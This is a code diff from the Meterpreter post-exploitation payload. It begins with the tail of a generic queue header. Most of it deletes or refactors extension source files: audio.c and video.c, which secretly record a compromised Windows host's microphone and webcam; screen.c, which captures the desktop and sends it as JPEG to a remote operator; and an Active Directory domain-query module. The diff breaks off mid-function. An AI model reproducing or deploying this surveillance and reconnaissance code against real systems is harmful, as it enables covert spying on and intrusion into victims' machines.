|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev != \
|
||||
&((elm)->field.tqe_next)) \
|
||||
panic("Bad link elm %p next->prev != elm", (elm)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_PREV(elm, field) do { \
|
||||
if (*(elm)->field.tqe_prev != (elm)) \
|
||||
panic("Bad link elm %p prev->next != elm", (elm)); \
|
||||
} while (0)
|
||||
#else
|
||||
#define QMD_TAILQ_CHECK_HEAD(head, field)
|
||||
#define QMD_TAILQ_CHECK_TAIL(head, headname)
|
||||
#define QMD_TAILQ_CHECK_NEXT(elm, field)
|
||||
#define QMD_TAILQ_CHECK_PREV(elm, field)
|
||||
#endif /* (_KERNEL && INVARIANTS) */
|
||||
|
||||
#define TAILQ_CONCAT(head1, head2, field) do { \
|
||||
if (!TAILQ_EMPTY(head2)) { \
|
||||
*(head1)->tqh_last = (head2)->tqh_first; \
|
||||
(head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \
|
||||
(head1)->tqh_last = (head2)->tqh_last; \
|
||||
TAILQ_INIT((head2)); \
|
||||
QMD_TRACE_HEAD(head1); \
|
||||
QMD_TRACE_HEAD(head2); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_EMPTY(head) ((head)->tqh_first == NULL)
|
||||
|
||||
#define TAILQ_FIRST(head) ((head)->tqh_first)
|
||||
|
||||
#define TAILQ_FOREACH(var, head, field) \
|
||||
for ((var) = TAILQ_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = TAILQ_NEXT((var), field))
|
||||
|
||||
#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = TAILQ_FIRST((head)); \
|
||||
(var) && ((tvar) = TAILQ_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \
|
||||
for ((var) = TAILQ_LAST((head), headname); \
|
||||
(var); \
|
||||
(var) = TAILQ_PREV((var), headname, field))
|
||||
|
||||
#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, tvar) \
|
||||
for ((var) = TAILQ_LAST((head), headname); \
|
||||
(var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define TAILQ_INIT(head) do { \
|
||||
TAILQ_FIRST((head)) = NULL; \
|
||||
(head)->tqh_last = &TAILQ_FIRST((head)); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_NEXT(listelm, field); \
|
||||
if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\
|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev = \
|
||||
&TAILQ_NEXT((elm), field); \
|
||||
else { \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} \
|
||||
TAILQ_NEXT((listelm), field) = (elm); \
|
||||
(elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
QMD_TRACE_ELEM(&listelm->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_PREV(listelm, field); \
|
||||
(elm)->field.tqe_prev = (listelm)->field.tqe_prev; \
|
||||
TAILQ_NEXT((elm), field) = (listelm); \
|
||||
*(listelm)->field.tqe_prev = (elm); \
|
||||
(listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
QMD_TRACE_ELEM(&listelm->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_HEAD(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_HEAD(head, field); \
|
||||
if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \
|
||||
TAILQ_FIRST((head))->field.tqe_prev = \
|
||||
&TAILQ_NEXT((elm), field); \
|
||||
else \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
TAILQ_FIRST((head)) = (elm); \
|
||||
(elm)->field.tqe_prev = &TAILQ_FIRST((head)); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_TAIL(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_TAIL(head, field); \
|
||||
TAILQ_NEXT((elm), field) = NULL; \
|
||||
(elm)->field.tqe_prev = (head)->tqh_last; \
|
||||
*(head)->tqh_last = (elm); \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_LAST(head, headname) \
|
||||
(*(((struct headname *)((head)->tqh_last))->tqh_last))
|
||||
|
||||
#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next)
|
||||
|
||||
#define TAILQ_PREV(elm, headname, field) \
|
||||
(*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
|
||||
|
||||
#define TAILQ_REMOVE(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_NEXT(elm, field); \
|
||||
QMD_TAILQ_CHECK_PREV(elm, field); \
|
||||
if ((TAILQ_NEXT((elm), field)) != NULL) \
|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev = \
|
||||
(elm)->field.tqe_prev; \
|
||||
else { \
|
||||
(head)->tqh_last = (elm)->field.tqe_prev; \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} \
|
||||
*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \
|
||||
TRASHIT((elm)->field.tqe_next); \
|
||||
TRASHIT((elm)->field.tqe_prev); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
|
||||
#ifdef _KERNEL
|
||||
|
||||
/*
|
||||
* XXX insque() and remque() are an old way of handling certain queues.
|
||||
* They bogusly assumes that all queue heads look alike.
|
||||
*/
|
||||
|
||||
struct quehead {
|
||||
struct quehead *qh_link;
|
||||
struct quehead *qh_rlink;
|
||||
};
|
||||
|
||||
#ifdef __CC_SUPPORTS___INLINE
|
||||
|
||||
static __inline void
|
||||
insque(void *a, void *b)
|
||||
{
|
||||
struct quehead *element = (struct quehead *)a,
|
||||
*head = (struct quehead *)b;
|
||||
|
||||
element->qh_link = head->qh_link;
|
||||
element->qh_rlink = head;
|
||||
head->qh_link = element;
|
||||
element->qh_link->qh_rlink = element;
|
||||
}
|
||||
|
||||
static __inline void
|
||||
remque(void *a)
|
||||
{
|
||||
struct quehead *element = (struct quehead *)a;
|
||||
|
||||
element->qh_link->qh_rlink = element->qh_rlink;
|
||||
element->qh_rlink->qh_link = element->qh_link;
|
||||
element->qh_rlink = 0;
|
||||
}
|
||||
|
||||
#else /* !__CC_SUPPORTS___INLINE */
|
||||
|
||||
void insque(void *a, void *b);
|
||||
void remque(void *a);
|
||||
|
||||
#endif /* __CC_SUPPORTS___INLINE */
|
||||
|
||||
#endif /* _KERNEL */
|
||||
|
||||
#endif /* !_SYS_QUEUE_H_ */
|
@ -1,23 +0,0 @@
|
||||
#ifndef _METERPRETER_LIB_SCHEDULER_H
|
||||
#define _METERPRETER_LIB_SCHEDULER_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "remote.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
Pause = 1,
|
||||
Resume = 2,
|
||||
Stop = 3
|
||||
} SchedularSignal;
|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
|
||||
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
|
||||
|
||||
LINKAGE DWORD scheduler_initialize( Remote * remote );
|
||||
LINKAGE DWORD scheduler_destroy( VOID );
|
||||
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy );
|
||||
LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal );
|
||||
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
|
||||
|
||||
#endif
|
@ -1,43 +0,0 @@
|
||||
/*!
|
||||
* @file bare.c
|
||||
* @brief Entry point and intialisation functionality for the bare extention.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
// custom commands go here
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,12 +0,0 @@
|
||||
/*!
|
||||
* @file bare.h
|
||||
* @brief Entry point and intialisation declrations for the bare extention.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H
|
||||
|
||||
#define TLV_TYPE_EXTENSION_BARE 0
|
||||
|
||||
// Custom TLVs go here
|
||||
|
||||
#endif
|
@ -1,103 +0,0 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <tchar.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
#include "espia.h"
|
||||
|
||||
#pragma comment(lib, "vfw32.lib")
|
||||
#pragma comment(lib, "winmm.lib")
|
||||
|
||||
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
|
||||
|
||||
BOOL capmicaudio(char* szFile, int millisecs)
|
||||
{
|
||||
UINT wDeviceID;
|
||||
DWORD dwReturn;
|
||||
MCI_OPEN_PARMSA mciOpenParms;
|
||||
MCI_RECORD_PARMS mciRecordParms;
|
||||
MCI_SAVE_PARMSA mciSaveParms;
|
||||
MCI_PLAY_PARMS mciPlayParms;
|
||||
DWORD dwMilliSeconds;
|
||||
|
||||
dwMilliSeconds = millisecs;
|
||||
|
||||
// Open a waveform-audio device with a new file for recording.
|
||||
mciOpenParms.lpstrDeviceType = "waveaudio";
|
||||
mciOpenParms.lpstrElementName = "";
|
||||
if (dwReturn = mciSendCommand(0, MCI_OPEN, MCI_OPEN_ELEMENT | MCI_OPEN_TYPE, (DWORD_PTR)(LPVOID)&mciOpenParms))
|
||||
{
|
||||
// Failed to open device; don't close it, just return error.
|
||||
return (dwReturn);
|
||||
}
|
||||
|
||||
// The device opened successfully; get the device ID.
|
||||
wDeviceID = mciOpenParms.wDeviceID;
|
||||
|
||||
mciRecordParms.dwTo = dwMilliSeconds;
|
||||
if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD,
|
||||
MCI_TO | MCI_WAIT, (DWORD)(DWORD_PTR)&mciRecordParms))
|
||||
{
|
||||
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0);
|
||||
return (dwReturn);
|
||||
}
|
||||
|
||||
// Play the recording and query user to save the file.
|
||||
mciPlayParms.dwFrom = 0L;
|
||||
|
||||
// Save the recording to a file. Wait for
|
||||
// the operation to complete before continuing.
|
||||
mciSaveParms.lpfilename = szFile;
|
||||
if (dwReturn = mciSendCommandA(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD_PTR)(LPVOID)&mciSaveParms))
|
||||
{
|
||||
mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0);
|
||||
return (dwReturn);
|
||||
}
|
||||
|
||||
return (0L);
|
||||
}
|
||||
|
||||
int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
|
||||
DWORD dwError = 0;
|
||||
char *wavestring = NULL;
|
||||
|
||||
/* METERPRETER CODE */
|
||||
// char buffer[100];
|
||||
/* END METERPRETER CODE */
|
||||
|
||||
capmicaudio("C:\\test.wav", msecs);
|
||||
|
||||
*waveresults = wavestring;
|
||||
|
||||
/* return the correct code */
|
||||
return dwError;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Grabs the audio from mic.
|
||||
*/
|
||||
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
char *wave = NULL;
|
||||
|
||||
if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
|
||||
{
|
||||
res = GetLastError();
|
||||
}
|
||||
|
||||
//packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave);
|
||||
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
if (wave)
|
||||
free(wave);
|
||||
|
||||
return res;
|
||||
}
|
@ -1,6 +0,0 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
|
||||
|
||||
DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
@ -2,41 +2,33 @@
|
||||
* This module implemenet webcam frae capture and mic recording features.
|
||||
*/
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "espia.h"
|
||||
#include "audio.h"
|
||||
#include "video.h"
|
||||
#include "screen.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
|
||||
COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
|
||||
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all( customCommands );
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -48,7 +40,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all( customCommands );
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,5 +1,5 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <tchar.h>
|
||||
@ -9,6 +9,7 @@
|
||||
#include <wingdi.h>
|
||||
#include "espia.h"
|
||||
#include "screen.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
|
||||
/* Function modified to store bitmap in memory. et [ ] metasploit.com
|
||||
@ -827,7 +828,6 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
|
||||
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
|
||||
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
|
||||
// Don't send it yet. Convert it to a JPEG.
|
||||
//packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
|
||||
|
||||
|
||||
// JPEG conversion start here..'
|
||||
@ -875,7 +875,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
|
||||
(*src_mgr->finish_input) (&cinfo, src_mgr);
|
||||
jpeg_finish_compress(&cinfo);
|
||||
jpeg_destroy_compress(&cinfo);
|
||||
packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size);
|
||||
met_api->packet.add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size);
|
||||
// Is it safe to free this right after pack_add_tlv_raw?
|
||||
free(buf_jpeg);
|
||||
|
||||
@ -896,7 +896,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
|
||||
*/
|
||||
DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HWINSTA hWindowStation = NULL;
|
||||
HWINSTA hOrigWindowStation = NULL;
|
||||
@ -1045,7 +1045,7 @@ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet)
|
||||
if (hInputDesktop)
|
||||
CloseDesktop(hInputDesktop);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
@ -1,131 +0,0 @@
|
||||
#include "../../common/common.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <psapi.h>
|
||||
#include <tchar.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <malloc.h>
|
||||
#include <vfw.h>
|
||||
#include "espia.h"
|
||||
|
||||
#pragma comment(lib, "vfw32.lib")
|
||||
|
||||
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
|
||||
|
||||
BOOL capWebCam(char *szFile, int nIndex, int nX, int nY, int nMsg)
|
||||
{
|
||||
HWND hWndCap = capCreateCaptureWindow(NULL, WS_CHILD , 0, 0, nX, nY, GetDesktopWindow(), 0);
|
||||
|
||||
|
||||
if(!hWndCap) return FALSE;
|
||||
|
||||
capDlgVideoSource(hWndCap);
|
||||
|
||||
SetWindowLong(hWndCap,GWL_EXSTYLE,GetWindowLong(hWndCap,GWL_EXSTYLE));
|
||||
ShowWindow(hWndCap,TRUE);
|
||||
capSendMessage(hWndCap, WM_CAP_DRIVER_DISCONNECT, 0, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_DRIVER_CONNECT, 0, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_SET_SCALE, TRUE, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_SET_PREVIEWRATE, 1, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_SET_PREVIEW, TRUE, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0);
|
||||
capSendMessage(hWndCap, WM_CAP_FILE_SAVEDIB, 0, szFile);
|
||||
DestroyWindow(hWndCap);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
int GetCamIndex()
|
||||
{
|
||||
int wIndex;
|
||||
char szDeviceName[80];
|
||||
char szDeviceVersion[80];
|
||||
|
||||
for (wIndex = 0; wIndex < 9; wIndex++){
|
||||
if (capGetDriverDescriptionA(wIndex, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion)))
|
||||
return wIndex;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// TODO: perhaps find a way of sharing this code with passwd.c?
|
||||
char *StringCombine(char *string1, char *string2) {
|
||||
size_t s1len, s2len;
|
||||
|
||||
if (string2 == NULL) { // nothing to append
|
||||
return string1;
|
||||
}
|
||||
|
||||
// TODO: what do we want to do if memory allocation fails?
|
||||
s2len = strlen(string2);
|
||||
if (string1 == NULL) { // create a new string
|
||||
string1 = (char *)malloc(s2len + 1);
|
||||
strncpy_s(string1, s2len + 1, string2, s2len + 1);
|
||||
} else { // append data to the string
|
||||
s1len = strlen(string1);
|
||||
string1 = (char *)realloc(string1, s1len + s2len + 1);
|
||||
strncat_s(string1, s1len + s2len + 1, string2, s2len + 1);
|
||||
}
|
||||
|
||||
return string1;
|
||||
}
|
||||
|
||||
int __declspec(dllexport) controlcam(char **imageresults) {
|
||||
DWORD dwError = 0;
|
||||
char *imagestring = NULL;
|
||||
|
||||
/* METERPRETER CODE */
|
||||
// char buffer[100];
|
||||
/* END METERPRETER CODE */
|
||||
|
||||
///////////////////
|
||||
int nIndex;
|
||||
|
||||
nIndex= GetCamIndex();
|
||||
if(nIndex == -1){
|
||||
return nIndex;
|
||||
}
|
||||
capWebCam("C:\\test.bmp", nIndex, 640, 480, 10);
|
||||
return 0;
|
||||
////////////////////
|
||||
|
||||
|
||||
/* return hashresults */
|
||||
*imageresults = imagestring;
|
||||
|
||||
/* return the correct code */
|
||||
return dwError;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Grabs the Webcam Image.
|
||||
*/
|
||||
DWORD request_video_get_dev_image(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
char *image = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
if (controlcam(&image))
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
//packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image);
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
if (image)
|
||||
free(image);
|
||||
|
||||
return res;
|
||||
}
|
@ -1,6 +0,0 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H
|
||||
|
||||
DWORD request_video_get_dev_image(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
@ -6,6 +6,7 @@
|
||||
#include "wshelpers.h"
|
||||
#include "adsi.h"
|
||||
#include "adsi_interface.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
/*! @brief The default page size to use when no page size is specified */
|
||||
#define DEFAULT_PAGE_SIZE 1000
|
||||
@ -26,7 +27,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
LPWSTR* lpwFields = NULL;
|
||||
DWORD fieldCount = 0;
|
||||
DWORD fieldIndex = 0;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
Tlv fieldTlv;
|
||||
DWORD maxResults;
|
||||
DWORD pageSize;
|
||||
@ -38,7 +39,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
|
||||
dprintf("[EXTAPI ADSI] Domain: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwDomain);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -47,7 +48,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
|
||||
dprintf("[EXTAPI ADSI] Filter: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwFilter);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -56,10 +57,10 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
|
||||
maxResults = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
|
||||
dprintf("[EXTAPI ADSI] Max results will be %u", maxResults);
|
||||
|
||||
pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
|
||||
pageSize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
|
||||
dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize);
|
||||
|
||||
// Set the page size to something sensible if not given.
|
||||
@ -76,7 +77,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
}
|
||||
dprintf("[EXTAPI ADSI] Page size will be %u", pageSize);
|
||||
|
||||
while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
|
||||
while (met_api->packet.enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
|
||||
{
|
||||
lpValue = (char*)fieldTlv.buffer;
|
||||
dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue);
|
||||
@ -131,7 +132,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI ADSI] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -5,6 +5,7 @@
|
||||
*/
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include <Iads.h>
|
||||
#include <Adshlp.h>
|
||||
#include <AdsErr.h>
|
||||
@ -186,7 +187,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
DWORD dwIndex = 0;
|
||||
ADS_SEARCH_COLUMN col;
|
||||
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
// iterate through the columns, adding Tlv entries as we go, but only
|
||||
// if we can get the values out.
|
||||
@ -201,56 +202,56 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
{
|
||||
case ADSTYPE_LARGE_INTEGER:
|
||||
{
|
||||
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
|
||||
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
|
||||
dprintf("[ADSI] Adding large int value %lld", (UINT)col.pADsValues->LargeInteger.QuadPart);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_INTEGER:
|
||||
{
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
|
||||
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_STRING:
